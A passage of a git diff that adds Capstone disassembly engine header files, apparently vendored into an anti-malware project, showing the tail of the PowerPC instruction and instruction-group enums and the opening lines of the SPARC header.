PPC_INS_EVMHOSMIA, + PPC_INS_EVMHOSMIAAW, + PPC_INS_EVMHOSMIANW, + PPC_INS_EVMHOSSF, + PPC_INS_EVMHOSSFA, + PPC_INS_EVMHOSSFAAW, + PPC_INS_EVMHOSSFANW, + PPC_INS_EVMHOSSIAAW, + PPC_INS_EVMHOSSIANW, + PPC_INS_EVMHOUMI, + PPC_INS_EVMHOUMIA, + PPC_INS_EVMHOUMIAAW, + PPC_INS_EVMHOUMIANW, + PPC_INS_EVMHOUSIAAW, + PPC_INS_EVMHOUSIANW, + PPC_INS_EVMRA, + PPC_INS_EVMWHSMF, + PPC_INS_EVMWHSMFA, + PPC_INS_EVMWHSMI, + PPC_INS_EVMWHSMIA, + PPC_INS_EVMWHSSF, + PPC_INS_EVMWHSSFA, + PPC_INS_EVMWHUMI, + PPC_INS_EVMWHUMIA, + PPC_INS_EVMWLSMIAAW, + PPC_INS_EVMWLSMIANW, + PPC_INS_EVMWLSSIAAW, + PPC_INS_EVMWLSSIANW, + PPC_INS_EVMWLUMI, + PPC_INS_EVMWLUMIA, + PPC_INS_EVMWLUMIAAW, + PPC_INS_EVMWLUMIANW, + PPC_INS_EVMWLUSIAAW, + PPC_INS_EVMWLUSIANW, + PPC_INS_EVMWSMF, + PPC_INS_EVMWSMFA, + PPC_INS_EVMWSMFAA, + PPC_INS_EVMWSMFAN, + PPC_INS_EVMWSMI, + PPC_INS_EVMWSMIA, + PPC_INS_EVMWSMIAA, + PPC_INS_EVMWSMIAN, + PPC_INS_EVMWSSF, + PPC_INS_EVMWSSFA, + PPC_INS_EVMWSSFAA, + PPC_INS_EVMWSSFAN, + PPC_INS_EVMWUMI, + PPC_INS_EVMWUMIA, + PPC_INS_EVMWUMIAA, + PPC_INS_EVMWUMIAN, + PPC_INS_EVNAND, + PPC_INS_EVNEG, + PPC_INS_EVNOR, + PPC_INS_EVOR, + PPC_INS_EVORC, + PPC_INS_EVRLW, + PPC_INS_EVRLWI, + PPC_INS_EVRNDW, + PPC_INS_EVSLW, + PPC_INS_EVSLWI, + PPC_INS_EVSPLATFI, + PPC_INS_EVSPLATI, + PPC_INS_EVSRWIS, + PPC_INS_EVSRWIU, + PPC_INS_EVSRWS, + PPC_INS_EVSRWU, + PPC_INS_EVSTDD, + PPC_INS_EVSTDDX, + PPC_INS_EVSTDH, + PPC_INS_EVSTDHX, + PPC_INS_EVSTDW, + PPC_INS_EVSTDWX, + PPC_INS_EVSTWHE, + PPC_INS_EVSTWHEX, + PPC_INS_EVSTWHO, + PPC_INS_EVSTWHOX, + PPC_INS_EVSTWWE, + PPC_INS_EVSTWWEX, + PPC_INS_EVSTWWO, + PPC_INS_EVSTWWOX, + PPC_INS_EVSUBFSMIAAW, + PPC_INS_EVSUBFSSIAAW, + PPC_INS_EVSUBFUMIAAW, + PPC_INS_EVSUBFUSIAAW, + PPC_INS_EVSUBFW, + PPC_INS_EVSUBIFW, + PPC_INS_EVXOR, + PPC_INS_EXTSB, + PPC_INS_EXTSH, + PPC_INS_EXTSW, + PPC_INS_EIEIO, + PPC_INS_FABS, + PPC_INS_FADD, + PPC_INS_FADDS, + PPC_INS_FCFID, + PPC_INS_FCFIDS, + PPC_INS_FCFIDU, + PPC_INS_FCFIDUS, + PPC_INS_FCMPU, + PPC_INS_FCPSGN, + PPC_INS_FCTID, + PPC_INS_FCTIDUZ, + PPC_INS_FCTIDZ, + PPC_INS_FCTIW, + PPC_INS_FCTIWUZ, + PPC_INS_FCTIWZ, + PPC_INS_FDIV, + PPC_INS_FDIVS, + PPC_INS_FMADD, + PPC_INS_FMADDS, + PPC_INS_FMR, + PPC_INS_FMSUB, + PPC_INS_FMSUBS, + PPC_INS_FMUL, + PPC_INS_FMULS, + PPC_INS_FNABS, + PPC_INS_FNEG, + PPC_INS_FNMADD, + PPC_INS_FNMADDS, + PPC_INS_FNMSUB, + PPC_INS_FNMSUBS, + PPC_INS_FRE, + PPC_INS_FRES, + PPC_INS_FRIM, + PPC_INS_FRIN, + PPC_INS_FRIP, + PPC_INS_FRIZ, + PPC_INS_FRSP, + PPC_INS_FRSQRTE, + PPC_INS_FRSQRTES, + PPC_INS_FSEL, + PPC_INS_FSQRT, + PPC_INS_FSQRTS, + PPC_INS_FSUB, + PPC_INS_FSUBS, + PPC_INS_ICBI, + PPC_INS_ICBT, + PPC_INS_ICCCI, + PPC_INS_ISEL, + PPC_INS_ISYNC, + PPC_INS_LA, + PPC_INS_LBZ, + PPC_INS_LBZCIX, + PPC_INS_LBZU, + PPC_INS_LBZUX, + PPC_INS_LBZX, + PPC_INS_LD, + PPC_INS_LDARX, + PPC_INS_LDBRX, + PPC_INS_LDCIX, + PPC_INS_LDU, + PPC_INS_LDUX, + PPC_INS_LDX, + PPC_INS_LFD, + PPC_INS_LFDU, + PPC_INS_LFDUX, + PPC_INS_LFDX, + PPC_INS_LFIWAX, + PPC_INS_LFIWZX, + PPC_INS_LFS, + PPC_INS_LFSU, + PPC_INS_LFSUX, + PPC_INS_LFSX, + PPC_INS_LHA, + PPC_INS_LHAU, + PPC_INS_LHAUX, + PPC_INS_LHAX, + PPC_INS_LHBRX, + PPC_INS_LHZ, + PPC_INS_LHZCIX, + PPC_INS_LHZU, + PPC_INS_LHZUX, + PPC_INS_LHZX, + PPC_INS_LI, + PPC_INS_LIS, + PPC_INS_LMW, + PPC_INS_LSWI, + PPC_INS_LVEBX, + PPC_INS_LVEHX, + PPC_INS_LVEWX, + PPC_INS_LVSL, + PPC_INS_LVSR, + PPC_INS_LVX, + PPC_INS_LVXL, + PPC_INS_LWA, + PPC_INS_LWARX, + PPC_INS_LWAUX, + PPC_INS_LWAX, + PPC_INS_LWBRX, + PPC_INS_LWZ, + PPC_INS_LWZCIX, + PPC_INS_LWZU, + PPC_INS_LWZUX, + PPC_INS_LWZX, + PPC_INS_LXSDX, + PPC_INS_LXVD2X, + PPC_INS_LXVDSX, + PPC_INS_LXVW4X, + PPC_INS_MBAR, + PPC_INS_MCRF, + PPC_INS_MCRFS, + PPC_INS_MFCR, + PPC_INS_MFCTR, + PPC_INS_MFDCR, + PPC_INS_MFFS, + PPC_INS_MFLR, + PPC_INS_MFMSR, + PPC_INS_MFOCRF, + PPC_INS_MFSPR, + PPC_INS_MFSR, + PPC_INS_MFSRIN, + PPC_INS_MFTB, + PPC_INS_MFVSCR, + PPC_INS_MSYNC, + PPC_INS_MTCRF, + PPC_INS_MTCTR, + PPC_INS_MTDCR, + PPC_INS_MTFSB0, + PPC_INS_MTFSB1, + PPC_INS_MTFSF, + PPC_INS_MTFSFI, + PPC_INS_MTLR, + PPC_INS_MTMSR, + PPC_INS_MTMSRD, + PPC_INS_MTOCRF, + PPC_INS_MTSPR, + PPC_INS_MTSR, + PPC_INS_MTSRIN, + PPC_INS_MTVSCR, + PPC_INS_MULHD, + PPC_INS_MULHDU, + PPC_INS_MULHW, + PPC_INS_MULHWU, + PPC_INS_MULLD, + PPC_INS_MULLI, + PPC_INS_MULLW, + PPC_INS_NAND, + PPC_INS_NEG, + PPC_INS_NOP, + PPC_INS_ORI, + PPC_INS_NOR, + PPC_INS_OR, + PPC_INS_ORC, + PPC_INS_ORIS, + PPC_INS_POPCNTD, + PPC_INS_POPCNTW, + PPC_INS_QVALIGNI, + PPC_INS_QVESPLATI, + PPC_INS_QVFABS, + PPC_INS_QVFADD, + PPC_INS_QVFADDS, + PPC_INS_QVFCFID, + PPC_INS_QVFCFIDS, + PPC_INS_QVFCFIDU, + PPC_INS_QVFCFIDUS, + PPC_INS_QVFCMPEQ, + PPC_INS_QVFCMPGT, + PPC_INS_QVFCMPLT, + PPC_INS_QVFCPSGN, + PPC_INS_QVFCTID, + PPC_INS_QVFCTIDU, + PPC_INS_QVFCTIDUZ, + PPC_INS_QVFCTIDZ, + PPC_INS_QVFCTIW, + PPC_INS_QVFCTIWU, + PPC_INS_QVFCTIWUZ, + PPC_INS_QVFCTIWZ, + PPC_INS_QVFLOGICAL, + PPC_INS_QVFMADD, + PPC_INS_QVFMADDS, + PPC_INS_QVFMR, + PPC_INS_QVFMSUB, + PPC_INS_QVFMSUBS, + PPC_INS_QVFMUL, + PPC_INS_QVFMULS, + PPC_INS_QVFNABS, + PPC_INS_QVFNEG, + PPC_INS_QVFNMADD, + PPC_INS_QVFNMADDS, + PPC_INS_QVFNMSUB, + PPC_INS_QVFNMSUBS, + PPC_INS_QVFPERM, + PPC_INS_QVFRE, + PPC_INS_QVFRES, + PPC_INS_QVFRIM, + PPC_INS_QVFRIN, + PPC_INS_QVFRIP, + PPC_INS_QVFRIZ, + PPC_INS_QVFRSP, + PPC_INS_QVFRSQRTE, + PPC_INS_QVFRSQRTES, + PPC_INS_QVFSEL, + PPC_INS_QVFSUB, + PPC_INS_QVFSUBS, + PPC_INS_QVFTSTNAN, + PPC_INS_QVFXMADD, + PPC_INS_QVFXMADDS, + PPC_INS_QVFXMUL, + PPC_INS_QVFXMULS, + PPC_INS_QVFXXCPNMADD, + PPC_INS_QVFXXCPNMADDS, + PPC_INS_QVFXXMADD, + PPC_INS_QVFXXMADDS, + PPC_INS_QVFXXNPMADD, + PPC_INS_QVFXXNPMADDS, + PPC_INS_QVGPCI, + PPC_INS_QVLFCDUX, + PPC_INS_QVLFCDUXA, + PPC_INS_QVLFCDX, + PPC_INS_QVLFCDXA, + PPC_INS_QVLFCSUX, + PPC_INS_QVLFCSUXA, + PPC_INS_QVLFCSX, + PPC_INS_QVLFCSXA, + PPC_INS_QVLFDUX, + PPC_INS_QVLFDUXA, + PPC_INS_QVLFDX, + PPC_INS_QVLFDXA, + PPC_INS_QVLFIWAX, + PPC_INS_QVLFIWAXA, + PPC_INS_QVLFIWZX, + PPC_INS_QVLFIWZXA, + PPC_INS_QVLFSUX, + PPC_INS_QVLFSUXA, + PPC_INS_QVLFSX, + PPC_INS_QVLFSXA, + PPC_INS_QVLPCLDX, + PPC_INS_QVLPCLSX, + PPC_INS_QVLPCRDX, + PPC_INS_QVLPCRSX, + PPC_INS_QVSTFCDUX, + PPC_INS_QVSTFCDUXA, + PPC_INS_QVSTFCDUXI, + PPC_INS_QVSTFCDUXIA, + PPC_INS_QVSTFCDX, + PPC_INS_QVSTFCDXA, + PPC_INS_QVSTFCDXI, + PPC_INS_QVSTFCDXIA, + PPC_INS_QVSTFCSUX, + PPC_INS_QVSTFCSUXA, + PPC_INS_QVSTFCSUXI, + PPC_INS_QVSTFCSUXIA, + PPC_INS_QVSTFCSX, + PPC_INS_QVSTFCSXA, + PPC_INS_QVSTFCSXI, + PPC_INS_QVSTFCSXIA, + PPC_INS_QVSTFDUX, + PPC_INS_QVSTFDUXA, + PPC_INS_QVSTFDUXI, + PPC_INS_QVSTFDUXIA, + PPC_INS_QVSTFDX, + PPC_INS_QVSTFDXA, + PPC_INS_QVSTFDXI, + PPC_INS_QVSTFDXIA, + PPC_INS_QVSTFIWX, + PPC_INS_QVSTFIWXA, + PPC_INS_QVSTFSUX, + PPC_INS_QVSTFSUXA, + PPC_INS_QVSTFSUXI, + PPC_INS_QVSTFSUXIA, + PPC_INS_QVSTFSX, + PPC_INS_QVSTFSXA, + PPC_INS_QVSTFSXI, + PPC_INS_QVSTFSXIA, + PPC_INS_RFCI, + PPC_INS_RFDI, + PPC_INS_RFI, + PPC_INS_RFID, + PPC_INS_RFMCI, + PPC_INS_RLDCL, + PPC_INS_RLDCR, + PPC_INS_RLDIC, + PPC_INS_RLDICL, + PPC_INS_RLDICR, + PPC_INS_RLDIMI, + PPC_INS_RLWIMI, + PPC_INS_RLWINM, + PPC_INS_RLWNM, + PPC_INS_SC, + PPC_INS_SLBIA, + PPC_INS_SLBIE, + PPC_INS_SLBMFEE, + PPC_INS_SLBMTE, + PPC_INS_SLD, + PPC_INS_SLW, + PPC_INS_SRAD, + PPC_INS_SRADI, + PPC_INS_SRAW, + PPC_INS_SRAWI, + PPC_INS_SRD, + PPC_INS_SRW, + PPC_INS_STB, + PPC_INS_STBCIX, + PPC_INS_STBU, + PPC_INS_STBUX, + PPC_INS_STBX, + PPC_INS_STD, + PPC_INS_STDBRX, + PPC_INS_STDCIX, + PPC_INS_STDCX, + PPC_INS_STDU, + PPC_INS_STDUX, + PPC_INS_STDX, + PPC_INS_STFD, + PPC_INS_STFDU, + PPC_INS_STFDUX, + PPC_INS_STFDX, + PPC_INS_STFIWX, + PPC_INS_STFS, + PPC_INS_STFSU, + PPC_INS_STFSUX, + PPC_INS_STFSX, + PPC_INS_STH, + PPC_INS_STHBRX, + PPC_INS_STHCIX, + PPC_INS_STHU, + PPC_INS_STHUX, + PPC_INS_STHX, + PPC_INS_STMW, + PPC_INS_STSWI, + PPC_INS_STVEBX, + PPC_INS_STVEHX, + PPC_INS_STVEWX, + PPC_INS_STVX, + PPC_INS_STVXL, + PPC_INS_STW, + PPC_INS_STWBRX, + PPC_INS_STWCIX, + PPC_INS_STWCX, + PPC_INS_STWU, + PPC_INS_STWUX, + PPC_INS_STWX, + PPC_INS_STXSDX, + PPC_INS_STXVD2X, + PPC_INS_STXVW4X, + PPC_INS_SUBF, + PPC_INS_SUBFC, + PPC_INS_SUBFE, + PPC_INS_SUBFIC, + PPC_INS_SUBFME, + PPC_INS_SUBFZE, + PPC_INS_SYNC, + PPC_INS_TD, + PPC_INS_TDI, + PPC_INS_TLBIA, + PPC_INS_TLBIE, + PPC_INS_TLBIEL, + PPC_INS_TLBIVAX, + PPC_INS_TLBLD, + PPC_INS_TLBLI, + PPC_INS_TLBRE, + PPC_INS_TLBSX, + PPC_INS_TLBSYNC, + PPC_INS_TLBWE, + PPC_INS_TRAP, + PPC_INS_TW, + PPC_INS_TWI, + PPC_INS_VADDCUW, + PPC_INS_VADDFP, + PPC_INS_VADDSBS, + PPC_INS_VADDSHS, + PPC_INS_VADDSWS, + PPC_INS_VADDUBM, + PPC_INS_VADDUBS, + PPC_INS_VADDUDM, + PPC_INS_VADDUHM, + PPC_INS_VADDUHS, + PPC_INS_VADDUWM, + PPC_INS_VADDUWS, + PPC_INS_VAND, + PPC_INS_VANDC, + PPC_INS_VAVGSB, + PPC_INS_VAVGSH, + PPC_INS_VAVGSW, + PPC_INS_VAVGUB, + PPC_INS_VAVGUH, + PPC_INS_VAVGUW, + PPC_INS_VCFSX, + PPC_INS_VCFUX, + PPC_INS_VCLZB, + PPC_INS_VCLZD, + PPC_INS_VCLZH, + PPC_INS_VCLZW, + PPC_INS_VCMPBFP, + PPC_INS_VCMPEQFP, + PPC_INS_VCMPEQUB, + PPC_INS_VCMPEQUD, + PPC_INS_VCMPEQUH, + PPC_INS_VCMPEQUW, + PPC_INS_VCMPGEFP, + PPC_INS_VCMPGTFP, + PPC_INS_VCMPGTSB, + PPC_INS_VCMPGTSD, + PPC_INS_VCMPGTSH, + PPC_INS_VCMPGTSW, + PPC_INS_VCMPGTUB, + PPC_INS_VCMPGTUD, + PPC_INS_VCMPGTUH, + PPC_INS_VCMPGTUW, + PPC_INS_VCTSXS, + PPC_INS_VCTUXS, + PPC_INS_VEQV, + PPC_INS_VEXPTEFP, + PPC_INS_VLOGEFP, + PPC_INS_VMADDFP, + PPC_INS_VMAXFP, + PPC_INS_VMAXSB, + PPC_INS_VMAXSD, + PPC_INS_VMAXSH, + PPC_INS_VMAXSW, + PPC_INS_VMAXUB, + PPC_INS_VMAXUD, + PPC_INS_VMAXUH, + PPC_INS_VMAXUW, + PPC_INS_VMHADDSHS, + PPC_INS_VMHRADDSHS, + PPC_INS_VMINUD, + PPC_INS_VMINFP, + PPC_INS_VMINSB, + PPC_INS_VMINSD, + PPC_INS_VMINSH, + PPC_INS_VMINSW, + PPC_INS_VMINUB, + PPC_INS_VMINUH, + PPC_INS_VMINUW, + PPC_INS_VMLADDUHM, + PPC_INS_VMRGHB, + PPC_INS_VMRGHH, + PPC_INS_VMRGHW, + PPC_INS_VMRGLB, + PPC_INS_VMRGLH, + PPC_INS_VMRGLW, + PPC_INS_VMSUMMBM, + PPC_INS_VMSUMSHM, + PPC_INS_VMSUMSHS, + PPC_INS_VMSUMUBM, + PPC_INS_VMSUMUHM, + PPC_INS_VMSUMUHS, + PPC_INS_VMULESB, + PPC_INS_VMULESH, + PPC_INS_VMULESW, + PPC_INS_VMULEUB, + PPC_INS_VMULEUH, + PPC_INS_VMULEUW, + PPC_INS_VMULOSB, + PPC_INS_VMULOSH, + PPC_INS_VMULOSW, + PPC_INS_VMULOUB, + PPC_INS_VMULOUH, + PPC_INS_VMULOUW, + PPC_INS_VMULUWM, + PPC_INS_VNAND, + PPC_INS_VNMSUBFP, + PPC_INS_VNOR, + PPC_INS_VOR, + PPC_INS_VORC, + PPC_INS_VPERM, + PPC_INS_VPKPX, + PPC_INS_VPKSHSS, + PPC_INS_VPKSHUS, + PPC_INS_VPKSWSS, + PPC_INS_VPKSWUS, + PPC_INS_VPKUHUM, + PPC_INS_VPKUHUS, + PPC_INS_VPKUWUM, + PPC_INS_VPKUWUS, + PPC_INS_VPOPCNTB, + PPC_INS_VPOPCNTD, + PPC_INS_VPOPCNTH, + PPC_INS_VPOPCNTW, + PPC_INS_VREFP, + PPC_INS_VRFIM, + PPC_INS_VRFIN, + PPC_INS_VRFIP, + PPC_INS_VRFIZ, + PPC_INS_VRLB, + PPC_INS_VRLD, + PPC_INS_VRLH, + PPC_INS_VRLW, + PPC_INS_VRSQRTEFP, + PPC_INS_VSEL, + PPC_INS_VSL, + PPC_INS_VSLB, + PPC_INS_VSLD, + PPC_INS_VSLDOI, + PPC_INS_VSLH, + PPC_INS_VSLO, + PPC_INS_VSLW, + PPC_INS_VSPLTB, + PPC_INS_VSPLTH, + PPC_INS_VSPLTISB, + PPC_INS_VSPLTISH, + PPC_INS_VSPLTISW, + PPC_INS_VSPLTW, + PPC_INS_VSR, + PPC_INS_VSRAB, + PPC_INS_VSRAD, + PPC_INS_VSRAH, + PPC_INS_VSRAW, + PPC_INS_VSRB, + PPC_INS_VSRD, + PPC_INS_VSRH, + PPC_INS_VSRO, + PPC_INS_VSRW, + PPC_INS_VSUBCUW, + PPC_INS_VSUBFP, + PPC_INS_VSUBSBS, + PPC_INS_VSUBSHS, + PPC_INS_VSUBSWS, + PPC_INS_VSUBUBM, + PPC_INS_VSUBUBS, + PPC_INS_VSUBUDM, + PPC_INS_VSUBUHM, + PPC_INS_VSUBUHS, + PPC_INS_VSUBUWM, + PPC_INS_VSUBUWS, + PPC_INS_VSUM2SWS, + PPC_INS_VSUM4SBS, + PPC_INS_VSUM4SHS, + PPC_INS_VSUM4UBS, + PPC_INS_VSUMSWS, + PPC_INS_VUPKHPX, + PPC_INS_VUPKHSB, + PPC_INS_VUPKHSH, + PPC_INS_VUPKLPX, + PPC_INS_VUPKLSB, + PPC_INS_VUPKLSH, + PPC_INS_VXOR, + PPC_INS_WAIT, + PPC_INS_WRTEE, + PPC_INS_WRTEEI, + PPC_INS_XOR, + PPC_INS_XORI, + PPC_INS_XORIS, + PPC_INS_XSABSDP, + PPC_INS_XSADDDP, + PPC_INS_XSCMPODP, + PPC_INS_XSCMPUDP, + PPC_INS_XSCPSGNDP, + PPC_INS_XSCVDPSP, + PPC_INS_XSCVDPSXDS, + PPC_INS_XSCVDPSXWS, + PPC_INS_XSCVDPUXDS, + PPC_INS_XSCVDPUXWS, + PPC_INS_XSCVSPDP, + PPC_INS_XSCVSXDDP, + PPC_INS_XSCVUXDDP, + PPC_INS_XSDIVDP, + PPC_INS_XSMADDADP, + PPC_INS_XSMADDMDP, + PPC_INS_XSMAXDP, + PPC_INS_XSMINDP, + PPC_INS_XSMSUBADP, + PPC_INS_XSMSUBMDP, + PPC_INS_XSMULDP, + PPC_INS_XSNABSDP, + PPC_INS_XSNEGDP, + PPC_INS_XSNMADDADP, + PPC_INS_XSNMADDMDP, + PPC_INS_XSNMSUBADP, + PPC_INS_XSNMSUBMDP, + PPC_INS_XSRDPI, + PPC_INS_XSRDPIC, + PPC_INS_XSRDPIM, + PPC_INS_XSRDPIP, + PPC_INS_XSRDPIZ, + PPC_INS_XSREDP, + PPC_INS_XSRSQRTEDP, + PPC_INS_XSSQRTDP, + PPC_INS_XSSUBDP, + PPC_INS_XSTDIVDP, + PPC_INS_XSTSQRTDP, + PPC_INS_XVABSDP, + PPC_INS_XVABSSP, + PPC_INS_XVADDDP, + PPC_INS_XVADDSP, + PPC_INS_XVCMPEQDP, + PPC_INS_XVCMPEQSP, + PPC_INS_XVCMPGEDP, + PPC_INS_XVCMPGESP, + PPC_INS_XVCMPGTDP, + PPC_INS_XVCMPGTSP, + PPC_INS_XVCPSGNDP, + PPC_INS_XVCPSGNSP, + PPC_INS_XVCVDPSP, + PPC_INS_XVCVDPSXDS, + PPC_INS_XVCVDPSXWS, + PPC_INS_XVCVDPUXDS, + PPC_INS_XVCVDPUXWS, + PPC_INS_XVCVSPDP, + PPC_INS_XVCVSPSXDS, + PPC_INS_XVCVSPSXWS, + PPC_INS_XVCVSPUXDS, + PPC_INS_XVCVSPUXWS, + PPC_INS_XVCVSXDDP, + PPC_INS_XVCVSXDSP, + PPC_INS_XVCVSXWDP, + PPC_INS_XVCVSXWSP, + PPC_INS_XVCVUXDDP, + PPC_INS_XVCVUXDSP, + PPC_INS_XVCVUXWDP, + PPC_INS_XVCVUXWSP, + PPC_INS_XVDIVDP, + PPC_INS_XVDIVSP, + PPC_INS_XVMADDADP, + PPC_INS_XVMADDASP, + PPC_INS_XVMADDMDP, + PPC_INS_XVMADDMSP, + PPC_INS_XVMAXDP, + PPC_INS_XVMAXSP, + PPC_INS_XVMINDP, + PPC_INS_XVMINSP, + PPC_INS_XVMSUBADP, + PPC_INS_XVMSUBASP, + PPC_INS_XVMSUBMDP, + PPC_INS_XVMSUBMSP, + PPC_INS_XVMULDP, + PPC_INS_XVMULSP, + PPC_INS_XVNABSDP, + PPC_INS_XVNABSSP, + PPC_INS_XVNEGDP, + PPC_INS_XVNEGSP, + PPC_INS_XVNMADDADP, + PPC_INS_XVNMADDASP, + PPC_INS_XVNMADDMDP, + PPC_INS_XVNMADDMSP, + PPC_INS_XVNMSUBADP, + PPC_INS_XVNMSUBASP, + PPC_INS_XVNMSUBMDP, + PPC_INS_XVNMSUBMSP, + PPC_INS_XVRDPI, + PPC_INS_XVRDPIC, + PPC_INS_XVRDPIM, + PPC_INS_XVRDPIP, + PPC_INS_XVRDPIZ, + PPC_INS_XVREDP, + PPC_INS_XVRESP, + PPC_INS_XVRSPI, + PPC_INS_XVRSPIC, + PPC_INS_XVRSPIM, + PPC_INS_XVRSPIP, + PPC_INS_XVRSPIZ, + PPC_INS_XVRSQRTEDP, + PPC_INS_XVRSQRTESP, + PPC_INS_XVSQRTDP, + PPC_INS_XVSQRTSP, + PPC_INS_XVSUBDP, + PPC_INS_XVSUBSP, + PPC_INS_XVTDIVDP, + PPC_INS_XVTDIVSP, + PPC_INS_XVTSQRTDP, + PPC_INS_XVTSQRTSP, + PPC_INS_XXLAND, + PPC_INS_XXLANDC, + PPC_INS_XXLEQV, + PPC_INS_XXLNAND, + PPC_INS_XXLNOR, + PPC_INS_XXLOR, + PPC_INS_XXLORC, + PPC_INS_XXLXOR, + PPC_INS_XXMRGHW, + PPC_INS_XXMRGLW, + PPC_INS_XXPERMDI, + PPC_INS_XXSEL, + PPC_INS_XXSLDWI, + PPC_INS_XXSPLTW, + PPC_INS_BCA, + PPC_INS_BCLA, + + // extra & alias instructions + PPC_INS_SLWI, + PPC_INS_SRWI, + PPC_INS_SLDI, + + PPC_INS_BTA, + PPC_INS_CRSET, + PPC_INS_CRNOT, + PPC_INS_CRMOVE, + PPC_INS_CRCLR, + PPC_INS_MFBR0, + PPC_INS_MFBR1, + PPC_INS_MFBR2, + PPC_INS_MFBR3, + PPC_INS_MFBR4, + PPC_INS_MFBR5, + PPC_INS_MFBR6, + PPC_INS_MFBR7, + PPC_INS_MFXER, + PPC_INS_MFRTCU, + PPC_INS_MFRTCL, + PPC_INS_MFDSCR, + PPC_INS_MFDSISR, + PPC_INS_MFDAR, + PPC_INS_MFSRR2, + PPC_INS_MFSRR3, + PPC_INS_MFCFAR, + PPC_INS_MFAMR, + PPC_INS_MFPID, + PPC_INS_MFTBLO, + PPC_INS_MFTBHI, + PPC_INS_MFDBATU, + PPC_INS_MFDBATL, + PPC_INS_MFIBATU, + PPC_INS_MFIBATL, + PPC_INS_MFDCCR, + PPC_INS_MFICCR, + PPC_INS_MFDEAR, + PPC_INS_MFESR, + PPC_INS_MFSPEFSCR, + PPC_INS_MFTCR, + PPC_INS_MFASR, + PPC_INS_MFPVR, + PPC_INS_MFTBU, + PPC_INS_MTCR, + PPC_INS_MTBR0, + PPC_INS_MTBR1, + PPC_INS_MTBR2, + PPC_INS_MTBR3, + PPC_INS_MTBR4, + PPC_INS_MTBR5, + PPC_INS_MTBR6, + PPC_INS_MTBR7, + PPC_INS_MTXER, + PPC_INS_MTDSCR, + PPC_INS_MTDSISR, + PPC_INS_MTDAR, + PPC_INS_MTSRR2, + PPC_INS_MTSRR3, + PPC_INS_MTCFAR, + PPC_INS_MTAMR, + PPC_INS_MTPID, + PPC_INS_MTTBL, + PPC_INS_MTTBU, + PPC_INS_MTTBLO, + PPC_INS_MTTBHI, + PPC_INS_MTDBATU, + PPC_INS_MTDBATL, + PPC_INS_MTIBATU, + PPC_INS_MTIBATL, + PPC_INS_MTDCCR, + PPC_INS_MTICCR, + PPC_INS_MTDEAR, + PPC_INS_MTESR, + PPC_INS_MTSPEFSCR, + PPC_INS_MTTCR, + PPC_INS_NOT, + PPC_INS_MR, + PPC_INS_ROTLD, + PPC_INS_ROTLDI, + PPC_INS_CLRLDI, + PPC_INS_ROTLWI, + PPC_INS_CLRLWI, + PPC_INS_ROTLW, + PPC_INS_SUB, + PPC_INS_SUBC, + PPC_INS_LWSYNC, + PPC_INS_PTESYNC, + PPC_INS_TDLT, + PPC_INS_TDEQ, + PPC_INS_TDGT, + PPC_INS_TDNE, + PPC_INS_TDLLT, + PPC_INS_TDLGT, + PPC_INS_TDU, + PPC_INS_TDLTI, + PPC_INS_TDEQI, + PPC_INS_TDGTI, + PPC_INS_TDNEI, + PPC_INS_TDLLTI, + PPC_INS_TDLGTI, + PPC_INS_TDUI, + PPC_INS_TLBREHI, + PPC_INS_TLBRELO, + PPC_INS_TLBWEHI, + PPC_INS_TLBWELO, + PPC_INS_TWLT, + PPC_INS_TWEQ, + PPC_INS_TWGT, + PPC_INS_TWNE, + PPC_INS_TWLLT, + PPC_INS_TWLGT, + PPC_INS_TWU, + PPC_INS_TWLTI, + PPC_INS_TWEQI, + PPC_INS_TWGTI, + PPC_INS_TWNEI, + PPC_INS_TWLLTI, + PPC_INS_TWLGTI, + PPC_INS_TWUI, + PPC_INS_WAITRSV, + PPC_INS_WAITIMPL, + PPC_INS_XNOP, + PPC_INS_XVMOVDP, + PPC_INS_XVMOVSP, + PPC_INS_XXSPLTD, + PPC_INS_XXMRGHD, + PPC_INS_XXMRGLD, + PPC_INS_XXSWAPD, + PPC_INS_BT, + PPC_INS_BF, + PPC_INS_BDNZT, + PPC_INS_BDNZF, + PPC_INS_BDZF, + PPC_INS_BDZT, + PPC_INS_BFA, + PPC_INS_BDNZTA, + PPC_INS_BDNZFA, + PPC_INS_BDZTA, + PPC_INS_BDZFA, + PPC_INS_BTCTR, + PPC_INS_BFCTR, + PPC_INS_BTCTRL, + PPC_INS_BFCTRL, + PPC_INS_BTL, + PPC_INS_BFL, + PPC_INS_BDNZTL, + PPC_INS_BDNZFL, + PPC_INS_BDZTL, + PPC_INS_BDZFL, + PPC_INS_BTLA, + PPC_INS_BFLA, + PPC_INS_BDNZTLA, + PPC_INS_BDNZFLA, + PPC_INS_BDZTLA, + PPC_INS_BDZFLA, + PPC_INS_BTLR, + PPC_INS_BFLR, + PPC_INS_BDNZTLR, + PPC_INS_BDZTLR, + PPC_INS_BDZFLR, + PPC_INS_BTLRL, + PPC_INS_BFLRL, + PPC_INS_BDNZTLRL, + PPC_INS_BDNZFLRL, + PPC_INS_BDZTLRL, + PPC_INS_BDZFLRL, + + // QPX + PPC_INS_QVFAND, + PPC_INS_QVFCLR, + PPC_INS_QVFANDC, + PPC_INS_QVFCTFB, + PPC_INS_QVFXOR, + PPC_INS_QVFOR, + PPC_INS_QVFNOR, + PPC_INS_QVFEQU, + PPC_INS_QVFNOT, + PPC_INS_QVFORC, + PPC_INS_QVFNAND, + PPC_INS_QVFSET, + + PPC_INS_ENDING, // <-- mark the end of the list of instructions +} ppc_insn; + +/// Group of PPC instructions +typedef enum ppc_insn_group { + PPC_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + PPC_GRP_JUMP, ///< = CS_GRP_JUMP + + // Architecture-specific groups + PPC_GRP_ALTIVEC = 128, + PPC_GRP_MODE32, + PPC_GRP_MODE64, + PPC_GRP_BOOKE, + PPC_GRP_NOTBOOKE, + PPC_GRP_SPE, + PPC_GRP_VSX, + PPC_GRP_E500, + PPC_GRP_PPC4XX, + PPC_GRP_PPC6XX, + PPC_GRP_ICBT, + PPC_GRP_P8ALTIVEC, + PPC_GRP_P8VECTOR, + PPC_GRP_QPX, + + PPC_GRP_ENDING, // <-- mark the end of the list of groups +} ppc_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/sparc.h b/ai_anti_malware/capstone/include/capstone/sparc.h new file mode 100644 index 0000000..e33d173 --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/sparc.h @@ -0,0 +1,520 @@ +#ifndef CAPSTONE_SPARC_H +#define CAPSTONE_SPARC_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2014-2015 */ + 